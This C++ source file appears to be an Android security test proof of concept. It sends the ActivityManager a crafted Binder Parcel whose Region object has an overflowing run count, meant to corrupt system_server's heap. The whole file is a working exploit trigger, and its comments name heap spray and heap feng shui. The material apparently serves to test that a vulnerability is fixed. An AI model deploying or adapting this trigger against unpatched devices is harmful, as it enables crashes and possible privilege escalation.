/**
 * Copyright (C) 2018 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>

#include <binder/IServiceManager.h>
#include <binder/Parcel.h>

using namespace android;
typedef enum TRANTYPE { HEAPSPRAY, HEAPCORRUPT, HEAPFENGSHUI } TRANTYPE;

static void writeParcelableHead(Parcel *pData, const char *class_name) {
  // write key
  static int count = 1;
  const int VAL_PARCELABLE = 4;
  char buffer[16] = {0};
  snprintf(buffer, 16, "%d", count);

  pData->writeString16(String16((const char *)buffer));
  pData->writeInt32(VAL_PARCELABLE);
  pData->writeString16(String16(class_name));
}

void writeRegion(Parcel *pData) {
  pData->writeInt32(100); // length of region;
  pData->writeInt32(
      0x3fffffff); // runCount, the allocted size will be 0x3fffffff*4+16=0xc
  pData->writeInt32(0xf); // fBounds
  pData->writeInt32(0xf); // YSpanCount
  pData->writeInt32(0xf); // IntervalCount

  char buffer[100];
  memset(buffer, 0xcc,
         sizeof(buffer)); // this buffer will be used to corrrupt the heap
  pData->write(buffer, sizeof(buffer));
}

static void writeBundle(Parcel *pData, int type) {
  size_t lengthPos = pData->dataPosition();
  pData->writeInt32(0xfffff);
  const int BUNDLE_MAGIC = 0x4C444E42;
  pData->writeInt32(BUNDLE_MAGIC);
  size_t startPos = pData->dataPosition();

  if (type == HEAPCORRUPT) {
    pData->writeInt32(1); // from writeArrayMapInternal,object numbers in bundle
    writeParcelableHead(pData, "android.graphics.Region");
    writeRegion(pData);
  } else { // other than HEAPCORRUPT
    exit(0);
  }

  size_t endPos = pData->dataPosition();
  // Backpatch length
  pData->setDataPosition(lengthPos);
  int length = endPos - startPos;
  pData->writeInt32(length);
  pData->setDataPosition(endPos);
}

static void transact(sp<IBinder> &service, TRANTYPE type) {
  const int CONVERT_TO_TRANSLUCENT_TRANSACTION = 175;
  Parcel data, reply;

  data.writeInterfaceToken(String16("android.app.IActivityManager"));
  data.writeStrongBinder(service);
  data.writeInt32(333);
  writeBundle(&data, type);
  service->transact(CONVERT_TO_TRANSLUCENT_TRANSACTION, data, &reply);
}

int main(__attribute__((unused)) int argc,
         __attribute__((unused)) char *const argv[]) {
  sp<IServiceManager> sm = defaultServiceManager();
  sp<IBinder> service = sm->checkService(String16("activity"));
  if (service != NULL) {
    printf("heap corruption\n");
    transact(service, HEAPCORRUPT);
  } else {
    printf("get activitymanger failed\n");
  }
  return 0;
}
